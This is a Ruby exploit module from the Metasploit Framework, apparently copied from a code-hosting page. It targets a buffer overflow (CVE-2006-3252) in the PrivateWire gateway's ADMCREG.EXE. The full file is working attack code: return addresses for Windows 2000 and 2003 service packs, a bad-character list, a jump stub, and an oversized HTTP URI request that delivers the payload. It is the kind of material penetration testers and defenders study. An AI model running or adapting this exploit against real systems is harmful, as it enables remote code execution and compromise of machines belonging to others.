78 lines
2.6 KiB
Ruby
78 lines
2.6 KiB
Ruby
##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# web site for more information on licensing and terms of use.
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# http://metasploit.com/
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##
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# This file may only be distributed as part of the Metasploit Framework.
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# Any other use needs a written permission from the author.
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = AverageRanking
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include Msf::Exploit::Remote::HttpClient
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Private Wire Gateway Buffer Overflow',
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'Description' => %q{
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This exploits a buffer overflow in the ADMCREG.EXE used
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in the PrivateWire Online Registration Facility.
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},
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'Author' => 'Michael Thumann <mthumann[at]ernw.de>',
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'License' => MSF_LICENSE,
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'References' =>
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[
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['CVE', '2006-3252'],
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['OSVDB', '26861'],
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['BID', '18647'],
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],
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'Payload' =>
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{
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'Space' => 8000,
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'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c\x1b",
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'StackAdjustment' => -3500,
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},
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'Platform' => 'win',
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'Targets' =>
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[
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['Windows 2000 English SP0', { 'Ret' => 0x77e3c289 }], # jmp esp user32.dll
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['Windows 2000 English SP1', { 'Ret' => 0x77e3cb4c }], # jmp esp user32.dll
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['Windows 2000 English SP2', { 'Ret' => 0x77e3af64 }], # jmp esp user32.dll
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['Windows 2000 English SP3', { 'Ret' => 0x77e388a7 }], # jmp esp user32.dll
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['Windows 2000 English SP4', { 'Ret' => 0x77e3c256 }], # jmp esp user32.dll
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['Windows 2003 English SP0/SP1', { 'Ret' => 0x77d74c94 }], # jmp esp user32.dll
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['Debugging', { 'Ret' => 0x41414141 }], # crash
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],
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'DefaultTarget' => 4,
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'DisclosureDate' => 'Jun 26 2006'))
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register_options(
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[
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OptString.new('PATH', [ true, "Installation path of Privatewire", 'C:\Cipgw' ])
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], self.class)
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end
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def exploit
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# add 25 to ecx and jmp
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jmp = "\x6a\x19\x58\x01\xc1\xff\xe1"
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path_offset = datastore['PATH'].length - 8
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pattern = rand_text_alphanumeric(8192)
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pattern[0, payload.encoded.length] = payload.encoded
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pattern[8156 - path_offset, 4] = [target.ret].pack('V')
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pattern[8160, jmp.length] = jmp
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print_status("Trying #{target.name} using jmp esp at #{"%.8x" % target.ret}")
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send_request_raw({
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'uri' => "/" + pattern
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}, 2)
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end
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end
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